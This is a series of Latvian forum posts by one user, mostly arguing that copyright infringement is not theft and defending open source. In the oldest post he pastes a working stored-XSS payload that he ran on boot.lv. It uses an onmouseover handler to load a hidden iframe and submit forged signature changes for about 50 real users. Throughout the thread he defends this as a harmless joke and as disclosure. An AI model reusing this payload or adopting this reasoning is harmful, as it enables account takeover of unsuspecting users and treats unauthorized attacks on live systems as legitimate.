betons
-
Posts
88 -
Joined
-
Last visited
Posts posted by betons
-
-
Ar vien vārd sakot, Stollmens rullē :D
Kas ir interesanti, taisnība ir abām pusēm, bet tikai daļēja. GPL pats par sevi neko neattīsta - drīzāk otrādi, sekmē švakas kvalitātes produktu izstrādi. Bet ja produkta izstrādi finansē solīda proprietārā softa firma, ar mērķi atkarot konkurentam tirgus daļu, tad bieži sanāk visai labi softi... Kuri vēlāk kļūst par pamatu jau proprietāram produktam... Jo kāpēc man par brīvu jāatdod katram muļķim, un, galvenais, konkurentam, mani bezmiega naktīs sūri izstrādātie algoritmi un tehnoloģijas? Lai šamam vieglāk būtu manu(!) tirgus gabaliņu atņemt? Un te jau es zaudēju pavisam konkrētu materiālu labumu, desu, var teikt... ;)
Švakas kvalitātes produkti ir gan opensource, gan arī maksas. Bet ir šeit es vairāk skatos no programmētāja viedokļa.
Nevis izmantot gatavus produktus individuāli, bet veselu kaudzi gatavu biblotēku un produktu salikt kopā jaunā produktā.
Piemēram: Uztaisīt web lapu ar flash video servisu, saliekot gatavus produktus un bibliotēkas ir ļoti viegli, bet iedomājies, ja kādam pašam tas būtu jāuzkodē.
Vēl piemēram, izmantojot opensource P2P bibliotēku ir diesgan viegli izveidot p2p programmas, kuras arī strādās apakštīklos, bet pašam to visu saitaisīt gandrīz ir nereāli.
Un nejau softu tirgošana ir vienīgais IT iespējamais peļņas avots, vēl ir pakalpojumu nodrošināšana (web maksaas pakalpojumi), reklāma, web veikali, utt.
PHP ir zināms pierādījums tam, ka opensource rullē, jo PHP tomēr ir populārākā serveru skriptu valoda un uz tā bāzes ir izveidoti arī daudzi lieli projekti.
-
Atvaino, bet nu ja tu neesi ne mūziķis, ne rakstnieks, ne arī aktieris, tad tev nesaprast. Arī talantīgie mūziķi, rakstnieki, aktieri un arī programmētāji grib ēst.
Tu tiešām tici, ka autortiesību likumi kalpo tam,lai reāli aizsargātu paša autora tiesības. Lielo mūzikas industrijas peļņu saņem mūzikas ierakstu kompānijas, lielo tehnoloģiju peļņu saņem tehnoloģiju korpurācijas. Nejau īstenie autir no tā ko saņem.
Kāda tagad ir mūzika, kino, literatūra? Tīri komercijas gabali, krāšņs iesaiņojums, bez satura.
Ja noņemtu autortiesību aizsardzības likumus, tad visās šajās industrijās paliktu tikai tie, kas to var atļauties un vēlas, nevis tie, kas grib nopelnīt.
Literatūru tad rakstītu cilvēki, kas savā dzīvē ir daudz sasnieguši un raksta, nevis ar mērķi nopelnīt, bet ar mērķi pateikt ko svarīgu, vērtīgu, nozīmīgu.
Tas pat attiecas uz kino un mūziku.
Un tikai nevajag domāt, ka atceļot autortiesību likumus programmētāji paliktu bez ēdiena.
Celtos tikai kvalitāte. Nebūtu vairs jēgas taisīt sūdus un ar spēcīga mārketinga palīdzību to pārdot.
Bez tam nepublisko sektoru, tas nekādi neietekmētu.
Nejau es tev tagad pārliecināšu - tas tomēr ir vairāku gadu diskusiju un pārdomu evolūcijas rezultāts.
Es tikai norādīju blackhaltam, ka arī par autortiesību pārkāpšanu pienākas sods un tas nav likumīgi pēc latvijas likumiem - tieši tāpat kā tava fiziskā mantas zagšana.Pēc likumiem nav likumīgi arī slepkavošana, krāpšana, utt., bet tāpēc jau mēs autortiesību pārkāpšanu nesaucam par slepkavošanu vai krāpšanu.
-
Autortiesību pārkāpšana != zagšana.
Jā šāda formā man ar bija ienācis prātā uzrakstīt, varbūt tagad bubu sapratīs.
-
Un to, kas ir "autortiesību pārkāpšana" var izlasīt autortiesību likumā.
Atkal alojies.
Tavos citātos nav rakstīts, kas ir autortiesību pārkāpšana, bet gan kāds sods par kāda veida pārkāpšanu pienākas.
Par autortiesību pārkāpšanu jāskatās autortiesību likumā, nevis krimināllikumā
http://www.likumi.lv/doc.php?id=5138
Gribu tikai pieminēt, ka pat likumā nevienā vietā neatradīsi, ka autortiesību pārkāpšana būtu nosaukta par zagšanu, tas ir tikai
lielo korporāciju iespaidošanas rezultātā izveidojies spriedums.
Un atgādinu vēlreiz, ka autortiesību likumu izveidi, ne tikai Latvijā, bet arī daudzās citās valstīs ir lobējušas lielās korporācija.
-
Kāpēc tu neej uz rimi (vai arī jebkurā citā veikalā) un nekrāmē desas kabatās neko nemaksājot? Tu taču arī draugiem varētu paslavēt cik labas desas ir rimī, lai visi iet uz turieni iepirkties..
Tu izliecies?
Tāpēc, ka nozogot desu, cietušais zaudē desu - materiālu objektu, bet
"pārkāpjot autortiesības" - kopējot informāciju, cietušais nezaudē savu informatīvo objektu.
Tu tiešām neesi spējīgs saskatīt principiālu atšķirību?
Redzi pat "ļaunajā" autortiesību aizsardzības likumā ir ierakstīts, ka, piemēram ziņas šis likums neaizsargā.
Kapēc?
Es uzzinu, ko jaunu un gribu, lai šī ziņa pieder man.
Bet nekā visi ņem un stāsta šo ziņu pārējiem - pēc tavas izpratnes, tā ir tīrākā zādzība un, ja man redzot, pat laupīšana.
Tagad jūti atšķirību.
Es (un daudzi citi arī) uzskatu, ka uz nekāda veida publisku informāciju nedrīkst būt nekādas īpašuma tiesības, tas
attiecas uz tehnoloģijām, patentiem, mūziku, literāriem darbiem, utt.
Pirmkārt jau tev noteikti radīsies aizspriedumi šāda veida filozofijā sakarā ar mūziku un literāriem darbiem.
Bet es tev pateikšu vienu. Labākā mūzika vienmēr ir bijusi, nevis tā ,kuras mērķis ir tīri komerciāls, bet tā
kur mūziķim tiešām ir talants. Šādos apstākļos komerciālā mūzikas parodija ātri vien izmirs un to aizstās talantīgu mūziķu mūzika.
Respektīvi absolūtās vērtībās tirgus apjoms samazināsies, bet mūzikas kopijas tirgošana nav vienīgais, kas veido šo tirgu,
ir arī priekšnesumi, koncerti, reklāma. Atlikušo tirgus daļu sadalīs talantīgie mūziķi.
Literārajiem darbiem ir līdzīgi, nah vajadzīgi komerciāli literāri gabali, no tiem nav nekāda jēga.
Lai raksta, tie, kam ir ko teikt, kas ir ko sasnieguši un var atļauties uzrakstīt.
Lai raksta tie, kā vārdos ir vērts klausīties, kā vārdos ir gudrība un vārdiem ir vērtība.
-
Kas tad tavuprāt ir "autortiesību pārkāpšana", ja ne zagšana? Ņem vērā, ka ir vairāku veidu autortiesības. Un es galvenokārt domāju autortiesības kontekstā ar pārdošanas tiesībām.
Cik tev reizes skaidrot, ka tie ir divi dažādi jēdzieni, tas, ka tev ieborēts, ka tie ir vien un tas pats nav mana vaina.
Piemērs:
1)zādzība.
Tiek nozagts ķieģelis. zaglis ieguvis ķieģeli, cietējs zaudējis ķieģeli.
2)autortiesību pārkāpums
Tiek nokopēta dziesma. kopētājs ieguvis dziesmu, autors - divi gadījumi:
a) zaudējis iespēju pārdod dziesmu kopētājam
b) nav zaudējis neko, jo, ja kopētājs nevarētu nokopēt, viņš nepirktu. Drīzāk pat ieguvis, jo kopētājs, tālāk paslavē draugiem cik forša dziesma un tie visi metās un konci.
Tā ir principiāla atšķirība:
Un, ja atšķirība ir, tad lietas jāsauc atšķirīgi.
Tavus tekstus lasot rodās priekšstats, ka tu uzskati, ka zagšana attīsta cilvēci.. mja.Tev rodās tāds priekštats, tāpēc, ka nespēj atšķirt zagšanu no autortiesību pārkāpšanas.
Bet es apkalvoju, ka nevis zagšana, bet gan neadekvātie autortiesību aizsardzības likumi un patentu likumi kavē cilvēces attīstību.
Gribi pateikšu noslēpumu. Attīstība ir dabīgs process - pierādījums evolūcija.
Tikai daudzu cilvēku egocentriskās vēlmes bieži vien ir attīstības traucēklis.
Manuprāt mūsdienu sabiedrība neattīstās uz nekādām atvērtām teholoģijām un patentu neierobežošanu. Tā attīstās tikai uz mantiskajām vērtībām. Nesaku, ka tas ir vienīgais veids, bet manos uzskatos tas ir tas, kā viss notiek mūsdienās. Un nevar taču teikt, ka nav rezultātu.Piekrītu, ka mantiskajām attiecībām ir jābūt sakartotām. Bet tieši mantiskās vērtības ir tās, kuras nevar kopēt. Informāciju var kopēt.
Un mani apgalvojumi attiecas un informācijas lietām, nevis uz materiālām lietām, tāpēc nekāda nesaskaņu šajā jautājumā nav.
Un wtf kāda starpība kā cilvēce attīstās? Vai tava boot.lv "uzlaušana" attīstīja cilvēci tālāk? Tā tikai publiski parādīja tavu attiekmi pret konkrētu portālu - tu viņus necieni, viņi tevi arī neturēs augstu savās acīs - tāpēc arī bans. Nevajag gaidīt, ka tev tikai dos visu bez maksas un apbrīnos. Vajag pašam arī ko labu "cilvēces" labā izdarīt.Tev tā bieži uznāk divas dažādas temas saklonēt vienā un tad izteikt zelta spriedumus? :)
Un par GPL runājot - imho tas neko neattīsta. Tas tikai ļoti un pamatīgi ierobežo programmētāju. Uzliekot viņam bargus noteikumus par to, ko viņš drīkst darīt ar iegūto sourci.Galu galā - nē, nesēžu uz php ;) Nekad neesmu profesionāli programmējis php.
:))) Nesmīdini! Tev ir izvēle:
1) Lietot GPL plašo produktu un tehnoloģiju klāstu ar ierobežojumiem, kuri neļauj iznīcināt GPL filozofiju;
2) kodēt visu pašam.
Izrādās, ka daudzi un arvien daudzāki izvēlas pirmo, tāpēc, ka tā var ātrāk sasniegt mērķi.
Mūsdienu informāciju pakalpojumi paliek arvien komplicētāki un sarežģītāki, bet GPL
filozofija tev ļauj viegli un ātri izmantot desmitiem tehnoloģiju, apvienot tās un izveidot savu pakalpojumu.
Ja nebūtu GPL, tad informāciju tehnoloģijās lielajām kompānijām būtu pamatīki monopola apstākļi.
Piemini manus vārdus - pēc 20 gadiem 95% koda būs atvērts.
Protams MS cīnās, uzpērkot daudzu valstu ministrijas, lai mācību programmās būtu MS produkti, bet mūžīgi viņiem tas neizdosies.
Un par kādiem 70% tu runā? Manas algas aprēķinos iznāk knapi 45%. Un ņem vērā, ka ne visi 45% iet "projām". Laba daļa summas nonāk iestādēs, kuru pakalpojumus tu vari saņemt "pa lēto" (slimnīcas & stuff). Ja valsts tās neapmaksātu, tad cenas būtu pavisam šausminošas. Un ar tiem atlikušajiem 65% mana alga mani ļoti apmierina. Nepavisam nesūdzos.oki, doki, lai iet 45%, ātrumā izdalīju nodokļus uz algu uz rokas, nevis bruto,
bet skaidrs, bubu nevēlas lielāku algu.
Bet par valsts medicīnu, tu laikam ņirgājies, vai ne?
Tas nav nopietni, ko tu uzrakstīji, bet nu tā jau ir galīgi cita tēma.
-
betons, ir tāda lieta kā ētika. Piekritīsi, ka šo konceptu veido pati kultūra (skaidrāk izsakoties - kas ir ļauns, kas ir labs, nosaka paši cilvēki) ? Ja piekrīti, tad samierinies, ka lielākajai daļai nešķitīs pareizi tas ko tu izdarīji, lai arī kādus tu te tagad "argumentus" nedotu.
Ja runājam nopietni, tad lielākajai daļai, protams runājot par tiem, kas to pamanīja, pat nav nojausmas, ko es izdarīju.
Ja runājam starp tiem, kas saprot, tad bija gan tādi, kas teica ka pareizi izdarīji, gan tādi, kas teica, ka nepareizi.
Tākā var secināt, ka šāds princips vēl nav izveidojis savu ētisko pamatu.
Vispār, ja arī vienkārši pēc pirmā sava posta tu būtu apstājies un vairāk neko nebūtu rakstījis, tad uz tevi vēl skatītos savādāk. Bet turpinot ar saviem diezgan nepamatotajiem apgalvojumiem, tu tikai bojā pats savu reputāciju.Atvaino, bet man liekas, ka būtu dziļi nepieklājīgi uzsākt diskusiju, un neatbildēt uz jautājumiem.
Un par kādu reputāciju tu runā? Par mistiska pseidonīma vai ip adreses reputāciju?
Un pamatojums? Krimināllikumam manuprāt vienalga uz ko konkrētais pants attiecas - uz reālo vai virtuālo pasauli (kaut gan manuprāt šīs divas lietas nemaz nevar tā nošķirt. Vai tad tas, ko tu izdari virtuāli neskaitās ? Ja tu draudi kādu kādu nogalināt internetā vai arī personīgi uz ielas, tad tas pirmais neskaitās ?) Un tas, ko es gribēju pateikt - priecājies, ka tev boot.lv tikai izbanoja. Varēja arī krimināllietu taisīt (kaut gan jēgas no tā nebūtu)Ai, nu cik var liet vienu un to pašu.
Ta vismaz izlasi krimināllikuma 243. pantu, tad nerunāsi muļķības.
Visiem teikumiem ir "bojāta vai iznīcināta aizsardzības sistēma vai radīts būtisks kaitējums".
Aizsardzības sistēma netika ne bojāta, ne iznīcināta, kaitējums arī netika radīts.
betons, es tev neticu, ka, ja tu tagad izgudrotu kautkādu jaunu nekur neredzētu ūbertehnoloģiju, par kuras izmantošanu tiesībām tev piedāvātu 10 miljonus, tad tu teiktu - nē, es negribu to pārdot, es to atdodu sabiedrībai par velti! Diemžēl tā tās lietas nenotiek mūsdienu pasaulē...Filmas mazāk vajag skatīties. Nav tādu ūber tehnoloģiju. Katra tehnoloģija sava pamatā ir elementāra, tikai realizējam tad,
kad ir sasniegts attiecīgs tehnoloģiskais un sociālekanomiskais sabiedrības līmenis.
Liela daļa mūsdienu tehnoloģiju ir pat izdomātas jau 50 gadus atpakaļ, tikai dēļ materiālu, iekārtu, skaitļošanas jaudu, utt. nesamības nav realizējāmas.
Pienāk sabiedrības attīstības līmenis un tehnoloģija paliek elementāri realizējama.
Bet, ja tu izdomā dažādus uz egocentrismu vērstus piemērus, tad es arī tādus varu izdomāt:
Ja tu pelni algu, no kuras noņem 70% nodokļos, neticu, ka tu negribētu paturēt šos 70% sev.
Īsti neizprotu arī tavus uzskatus, ka autortiesību pārkāpšana nav zagšana. Cilvēks dien-dienā strādā - programmē, domā, izgudro - vairākus mēnešus vai gadus. Bet tu viņam uzspļauj un pasaki, ka viss ko viņš ir izdomājis ir jābūt par velti pieejamam un apgalvo, ka par to viņam nekas nav jāmaksā. Acīmredzot tev maz bijusi saskare ar intelektuālu darbu, kurā tavs galaprodukts nav taustāma lieta. Gribētos redzēt tevi par programmētāju, kurš atteiktos no piedāvātās algas un apgalvotu, ka tā nav nepieciešama, jo strādājot sabiedrības labā.Atortiesību pārkāpšana ir autortiesību pārkāpšana, zagšana ir zagšana.
Nevar dažādas principiāli atšķirīgas darbības: autortiesību pārkāpšanu un zagšanu, abas saukt par sagšanu.
Tāpat, ka lietotāja izdzēšana no foruma nav slepkavība.
Un pēc mana pēdējā apgalvojumu saceri aprakstu pr to, ka es esmu slepkava.
Autortiesība nav zagšana, bet tas nenozīmē, ka nav jāievēro autortiesību aizsargājoši likumi, to nekad neesmu apgalvojis.
Tomēr šos likumus ir sastādījuši cilvēki nesenā pagātnē, ar nevisai spēcīgu izpratni par sīs lietas būtību un protams lobējot tādus gigantus kā MS.
Zinu, ka MS arī tur ir savi nopelni.
Bet likumi ir viena lieta, bet realitāte ir cita.
Ir cilvēki, kuri šos likumus uzskata par nepareiziem un vismaz datortehnoloģiju jomā izdomājuši elegantu apkārtceļu.
Piemēram, GPL licence.
Pat daudzas lielās kompānijas saprot, ka šāda pieeja paātrina cilvēces attīstību, respektīvi atvērtā koda sabiedrība attīstās informatīvi-tehnoloģiski ātrāk,
nekā slēgtas korporatīvas sabiedrības. Kautvai, google, daudzus savus projektus taisa kā atvērtā koda projektus. Bet tādu kompāniju ir vēl ļoti daudz.
Un tas ir neapgāžāms eksperimentāls pierādījums tam, ka tehnoloģiski atvērta un ar autortiesībām un patentiem neirobežota sabiedrība, attīstās ātrāk
par slēgtām sabiedrībām.
Paliek tikai ētiskais jautājums - kādu ētiku izvēlēties:
1) Lielo korpurāciju izdomāto ētiku, kura ir iedzīta daudzu cilvēku prātos caur TV reklāmām ar frāzēm - nezodz, nezodz, nezodz.
2) Vai ētiku, kura praktsiki ir pierādījusi, ka ir spējīga nest cilvēcei attīstību daudz straujāk.
Un tikai nevajag teikt, ka 2. variants atstāj programmētāju bez darbu, nu tā nu nebūt nav. Bet tas dod daudz lielākas iespējas, instrumentus, palīgtehnoloģijas,
lai programmētāja darbs un tehnoloģiskā attīstību būtu daudz straujāka.
Un galu galā, paši tak sēžat uz PHP ?
-
Ziemassvētkos un jaunajā gadā novēlu tev kaut ko izgudrot un būt uzvarētājam vai vismaz rast sirdsmieru no sliktajiem moderatoriem :)
Jā, tev arī priecīgus Ziemassvētkus un Jauno Gadu.
Bet, sū.. ar tiem boota moderātoriem, tāpat man tas boots tērēja laiku.
Hmm, vienīgais tagad iespējams es jums šeit kritīšu vairāk uz nerviem, līdz mani nobanosiet :DDDDD
Labi, jāiet kaut ko izgudrot.
-
Tu dosi man vielu pārdomām ja nosauksi kādu no šādiem "lielās sabiedrības" sasniegumiem :)
grūti būs, jo es raktīju lielas, nevis lielās, ar nozīmi liels cilvēku skaits.
Bet, ja nu tomēr tu domāji: "lielas sabiedrības", tad īstenība der jebkurš sasniegums.
Piemēram, patenti lcd tehnoloģijās, kārtējais patents tiek veidots uz kopēja sabiedrības sasnieguma,
jo šīs jaunās iespējas paver ne jau šaurs tehnoloģisk progress, bet gan attīstība simtiem dažādās sasitītās nozarēs:
elektronikā, materiālzinātnēs, tiek radītas ar vien precīzākas iekārtas, utt.
Respektīvi ar to es gribu pateikt, ka katras jaunas tehnoloģijas apakšā stāv daudzas iepriekšējās tehnoloģijas.
Un, ja kāds tagad patentē kādu tehnoloģiju, tad man pat nav vairs iespēju šo tehnoloģiju izgudrot un pilnvērtīgi izmantot,
lai gan sabiedrības tehnoloģiskais attīstības līmenis man ļauj to atklāt jau neatkarīgi.
Respektīvi, pirmais tehnoloģijas atklājējs iegūst monopolu, bet monopls šo atklājēju padara par pirmo arī turpmākajos atklājumos.
Veidojas tāds kā cikls, kurā ir viens uzvarētājs.
Tehnoloģiju jomā šis fenomens tiek nodrošināts ar autortiesību un patentu palīdzību, bet šāda parādība ir arī politikā, ekonomikā un citur.
-
Nu kādus pokemonisma kalngalus vēl sasniegsi?
Tev N cilvēki pasaka "Nē nedarīji pareizi un iznākums ir loģisks", bet nē ar visādiem salīdzinājumiem par reklāmām un veikaliem pastāvēsi uz savu? Jeb gaidīji, ka kāds šeit liberalizēsies ar tevi un teiks - jā, beton, padarīji labu darbiņu uz Ziemassvētkiem še konfekte?
forum - a public meeting or assembly for open discussion
Bet, ja nopietni, tev vēl ilgi neizdimināt manus nodomus un mērķus, es pat domāju, ka tev tas nav pa spēkam.
Ja tavs mērķis bija "atriebties" tad vajag tā arī teikt nevis mēģināt iztaisnot kaut kā savu paveikto.. Lai gan nekad neesmu sapratis cilvēku vēlmi uzturēties tur kur viņiem nepatīk.. sava veida sadomazohisms, lai gan tā jau ir cita tēma..Man nevis tur nepatīk, bet man nepatīk daži tur esoši moderi - jūti atšķirību?
Un galu galā, kā var nepatik nomainīt 50 lietotājiem parakstu, un tad skatīties, ka sadaļā par doršibas caurumu šie komentē, "baigais hakeris, ieliki produkta aprakstu ar grafiskiem efektiem", bet pēc nopostošanas ierauga savam komentam apakša nesavu parakstu un ātri vien editē savu iepriekš postoto komentāru?
-
Nē, es domāju par dzēstu lietotāju..
Bet tikai pēc tam, kad 50 lietotājiem būšu nomainījis parakstus, jo savādāk nebūs tāpat, kā boot.lv.
EDIT:
Labi, ja runa aizgāja par intelektuālo īpašumu, tad došu, tev vielu pārdomām.
Ko tev izsaka termins - sabiedrības sasniegumi.
Tie ir tehnoloģiskie, sociālie, ekonomiskie sasniegumi, kuru pamatā ir lielas sabiedrības nopelns.
Bet, pie mūsu globālās sabiedrības, daudzi, jo daudzi tieši intelektuālie sasniegumi ir sabiedrības sasniegums.
Tagad piemērs, divas tehnoloģiju firmas strādā pie jaunas tehnoloģijas vienā sfērā 5 gadus.
Viena tehnoloģiju firma izstrādā tehnoloģiju pāris mēnešus ātrāk par otru un patentē - uzliek IP zīmogu.
Otra kompānija ir zaudējusi lielus ieguldījumus un lielu darbu, jo paralēli izstrādāj to pašu tehnoloģiju, bet, kad tā bija pabeigta, tad izrādās, ka to vairs nedrīkst izmantot.
Kā tas varēja gadīties?
Elementāri, to sauc par sabiedrības sasniegumiem. Sabiedrība ir nonākusi līdz noteiktam tehnoloģiju līmenim daudzās sfērās, lai varētu tikt izstrādāta jauna tehnoloģija.
Bet vienmēr ir kāds, kas iet pa priekšu nedaudz parējiem un nogriež ceļu - uzliek IP zīmogu.
Tiek izmantoti politiski un ekonomiski rīki, lai sabiedrības sasniegumus padarītu par savējiem un tieši to dara daudzi, kuri atsaucās uz IP.
-
p.s.2 aiz kam nelecies ka neiznak šeit tāpat kā bootā..
Tu domā, izmainīt php.lv forumu lietotāju parakstus?
Tu esi dumš vai izliecies? Tur bija norāde kur lasīt lai saprastu kas ir IP.. Pretēji izskatās ka nav skaidri pat kaut kādi ētikas u.c. pamatprincipi..Tavai zināšanai ētikas ir dažādas: komunistu ētika, liberāļu ētika, zaļo ētika, kristiešu ētika, kanibālu ētika utt, utjp.
Atliek tik izvēlēties, ne?
-
50 pacaniem rajonā uzkrāso, ne to vien tev izdarīs. (:
Bet diemžēl (jums) šo nodarījumu nevar salīdzināt ar nokrāsjumu, drīzāk ar kartiņas "Priecīgus ziemassvētkus" aizlikšanu aiz stiklu tīrītāja, jo nejau kaut grib man izdarīt tie mašīnu īpašnieki, bet gan stāvvietas sargs, kuram tas laikam izraisījis dziļi personīgu aizvainojumu.
Bet "caurumu atklāšanu" jebšu paziņošana notiek divējādi vai nu vispirms informējot tikai programmatūras autorus vai vienkārši palaižot tos publiski.. Pēdējā gadijumā faktiski netiek respektēti ne programmatūras izstrādātāji ne lietotāji. Līdz ar to nekādas slavas apliecinājumus (izņemot protams no kopienām kas nodarbojas ar analogām lietām) gaidīt nevar..Kur tas rakstīts, ka ir tikai divi varianti.
Gribi pateikšu trešo:
Paziņo to publiski tādā vietā, kur autori to uzreiz redz un tiem ir iespēja nekavējoties salabot to, pie reizes izspēlējot nelielu joku.
Nu nav tas nekāds ūber biznesa portāls un nekādu ļaunu nodarījumu šis ziemassvētku joks neveica.
Es nesaprotu vienu, jums cilvēki, tiešām ir tik švaka humora izjūta, dzīve nomocījusi?
A tu ko iepērcies veikalos kuri tev nepatīk? :)Manuprāt, atbilde ir pašsaprotama- loģiski, ka neies..
A par šito, netēlo gudrīti.
Jautājums nav par to vai patīk, vai nepatīk, bet par to, ja nepatīk, tad nav izvēles.
A, ja man nepatīk lielveikalu garās rindas, kā tu man Rīgā ieteiktu nopirkt pārtiku?
Samierinies, pats gan jau nedēļā pāris reizes nīksti lielveikala rindā. patīk nīkt rindā? nepatīk? A, ko tad ej uz veikalu?
A, nodokļus tev patīk maksāt? Hm,ka 70% no tavas aldziņas paņem nodokļos? Nepatīk? A, ko tad saņem algu, ja nepatīk?
Izskatās, ka tu esi no tās jaunatnes kam šķiet ka "internetā" viss ir anonīms un viss ir atļauts.. un uzskati, ka ka kaut kāda vērtība ir tikai lietai ko var pataustīt nevis intelektuālajam īpašumam ( http://en.wikipedia.org/wiki/Intellectual_property )Un tu esi no tiem, kas paši neko savā dzīvē neizlemj, jo viss jau ir uzrakstīts wikipēdijā, atliek tik iezubrīt un dzīot?
Kamēr vien tu grozīsi manus vārdus, es grozīšu tavus.
-
bubu, a ja tev nepatiks Rimi un Maxima, tu arī neiesi tur pirkt pārtiku?
Bez tam man nepatīk atsevišķi boot administrācijas tipi, nevis pārējie apmeklētāji.
Un salīdzinājums ar mašīnu nevietā, tu tāpat kā daudzi jauc materiālās un informātīvās pasaules terminus.
Nevar tik vienkārši salīdzināt informatīvo un materiālo pasauli, kaut vai, tas pats absurds, kad par zagšanu sauc autortiesību pārkāpumus. Divas dažādas lietas. Tāpat arī tavs salīdzinājums materiālajā pasaulē ir krietni atšķirīgs informatīvajā.
Bet, ja tu vēlies salīdzinājumus, tad labi:
Tika ierakstīts 50 lietotājiem parakstā Priecīgus ziemassvētkus - Tika uzkrāsots uzraksts uz BMW
Es tiku nobanots par to - Es tiku nogalināts.
Vai tev tādā gadījumā šķiet normāli, ka par krāsošanu uz stikla - priecīgus ziemassvētkus - nogalina?
-
boot.lv ir vissakarīgākā moderācija, kuru esmu redzējis. Diezgan ātri un efektīvi tiek galā ar nekārtību radošiem indivīdiem.
Jā, ja moderācijas mērķis ir nodrošināt dažu adminu iespēju ņirgāties un apsmiet desmitiem citus foruma lietotājus un katrs mēģinājums teikt, ko pretī (ļoti daudzos gadījumos pamatoti), tiek aplauzts ar banu uz kādu laiku.
Jā un elpojot gaisu mēs patērējam tik ļoti dārgo skābekli, kura trūkuma dēļ smok tavs kaimiņš.Atvaino, bet nu tiešām jābūt pasistam, lai uzskatītu, ka tu maksā par reklāmām internetā. Ja nespēj pats tās ignorēt, ir desmitiem brīnīšķīgu programmu, kuras to darīs tavā vietā.
Nu atvaino, tu varbūt lieto reklāmu bloķēšanas programmas, bet lielākā daļa nezin pat kas tas ir, tāpēc viņis skatās uz šīm reklāmam un viņu uzmanība, apziņas un zemapziņas ietekmēšana, izvēle par labu vienam vai otram pakalpojumam vai produktam ir maksa par foruma lietošanu.
Tas, ka tu to neatzīsti, nemaina lietas būtību.
Tavs ļoti labi parāda tavu attieksmi. Kārtējais ūber h4x0rz, kuram gribās tikai pazīmēties. Nevis normālā, cilvēcīgā veidā paziņot par to administrācijai. Tā ka nevajag tagad attaisnoties. Pelnīti vien esi dabūjis to banu.Manuprāt veids bija diezgan cilvēcīgs.
Bez tam, kam man gribēties viņiem, ko palīdzēt, ja viņi regulāri publiski apvaino un apsaukā desmitiem cilvēku?
Bet, dažiem tajā forumā tā slikti ar humora izjūtu, un vēl ziemassvētku laikā. Satraukums par tekstu priecīgus ziemassvētkus.
Varēju, tak uztaisīt tārpveidīgu skriptu, kurš no katra skriptam pakļautā lietotāja 20 rakstiem pēc kārtas ieliek komentāru ar linku uz skriptu. Tad, tas nebūtu cilvēcīgi, nemaz nerunājot, ka varēja tak piekļūt foruma administrēšanai.
Šis taču bija normāls ziemassvētku joks.
-
Būtu normāli paziņojis un izskaidrojis šo caurumu, tad arī gūtu "slavu" boot adminu acīs.
Slavai viņu acīs nav nekādas vērtības. Iedomīgi un uzpūtīgi cilvēki, kuri no ilgās moderēšanas boot.lv sevi jau uzskata par pasaules centriem (ar retiem izņēmumiem).
-
andrisp, katram savs labumiņš! ;)
-
wtf? Iešana pa ielu arī nav bezmaksas, jo uz māju sienām ir reklāmas?
Atzīti tu to vai nē, bet tā tiešām ir!
Ja ejot pa ielu, tu ieraugi reklāmu, tad tu par to maksā ar
savas zemapziņas vai apziņas ietekmēšanu un attiecīgā produkta vai pakalpojuma pirkšanu.
Vai arī tiek ietekmēta tava politiskā izvēle.
Varbūt tiek ietekmēta tava vērtību sistēma tev par sliktu.
Un tikai nevajag teikt, ka tu esi supercietā klints, kuru nekas neietekmē, nu lai jau ar, tomēr 99.9% citus ietekmē un viņi par to maksā.
EDIT:
P.S. boot.lv foruma postā nebija izskaidrota cauruma būtība, bet tika veikta tikai tā realizācija, lai pievērstu lielāku uzmanību lažai kādu ir pielaiduši boot.lv programmētāji.
Ja es to vienkārši pateiktu adminam, tad nebūtu ne silts, ne auksts.
Nu, izlabojām un viss.
A tikt ta varēja pie adminu sesijām.
-
kuri pie tam ir bez maksas, tad kamdēļ tu viņiem tur būtu vajadzīgs?
Kamēr vien tiek rādīta reklāma, tā lapa nav bez maksas.
-
Protams, ka pēc, kāda jēga sūtīt pirms?
Bet sūtīju viņu forumā, tāpēc viņiem bija reāla iespēja izlabot dažās desmitās minūšu.
Citos forumos sūtīju, kad jau bija izlabots.
Bet reāli tas bija godīgs darījums, pāris minūtes slavas pret to, ka atklāju viņiem, kur ir drošības caurums. :D
Bet šie ņem un nobano pavisam!
Ar šādu drošības caurumu, tak varēja tikt klāt adminu sesijām un foruma administrēšanai, un tad arī serverim.
-
Tak sataisīja jau!
-
Sveiki!
Tātad šodien mani izbanoja no boot.lv.
Pat ļaunāk izdzēsa manu kontu! Eh!
Tas viss tāpēc, ka centos šiem palīdzēt.
Tātad viņu lapā, lietotāju apskati
http://www.boot.lv/index.php?pg=15&cat=4
iespēja pievienot savu apskatu un tur ļauj izmantot b, i, u tagus.
Bet par brīnumu pie b taga atļauti arī eventi.
Tākā boot.lv ziņas un boot.lv/forums forums atrodas uz viena domeina, tad lieta sekojoša
uz bold taga onmoseover tiek izveidots ifreims, kurā ielādē lietotāja konta penlei un nomaina lietotāja parakstu uz priecīgi ziemassvētki.
Tad boot.lv forumā izveidoju diskusiju par to, ka ir šāds caurums un ka to vajadzētu sataisīt un ieliku linku uz caurumu.
Protams kādiem 50 lietotājiem paraksots ielikās: Priecīgus ziemmassvētkus by Bērzs.
Nu, tad admini ņēma mani un izdzēsa.
Es viņiem palīdzu atklāt drošības caurumu, nevainīgā veidā nodemonstrējot cauruma nozīmību, bet šie tā.
Vai tas ir normāli?
Kods šeit:
<b id="lol" onmouseover="function $(ob){return document.getElementById(ob);} $('lol').onmouseover='';$('top').innerHTML=''; self.timerlol=function(){ $('top').innerHTML+='Priecīgus ziemassvētkus '; setTimeout('timerlol();',100);}; timerlol(); aaa=0; o=document.createElement('iframe'); o.style.width='0px'; o.style.height='0px'; o.src='http://www.boot.lv/forums/index.php?act=UserCP&CODE=22'; document.getElementById('lol').appendChild(o); function onlol(){if (aaa==0) {o.contentDocument.getElementById('postcontent').innerHTML='[size=5]Priecīgus ziemassvētkus[/size] by Bērzs'; o.contentDocument.getElementById('postingform').submit(); aaa=1;}} o.onload=onlol;">Spied uz šī teksta, lai redzētu boot.lv drošības caurumu. Spied uz šī teksta, lai redzētu boot.lv drošības caurumu. Spied uz šī teksta, lai redzētu boot.lv drošības caurumu. Spied uz šī teksta, lai redzētu boot.lv drošības caurumu. Spied uz šī teksta, lai redzētu boot.lv drošības caurumu. Spied uz šī teksta, lai redzētu boot.lv drošības caurumu. Spied uz šī teksta, lai redzētu boot.lv drošības caurumu. Spied uz šī teksta, lai redzētu boot.lv drošības caurumu. Spied uz šī teksta, lai redzētu boot.lv drošības caurumu. </b>P.S. Ja šo lasa kāds boot.lv admins, tad atgrieziet manu kontu, es taču jums palīdzēju.
-
Ar XML un XSL failiem izdevās palaist dažus piemērus.
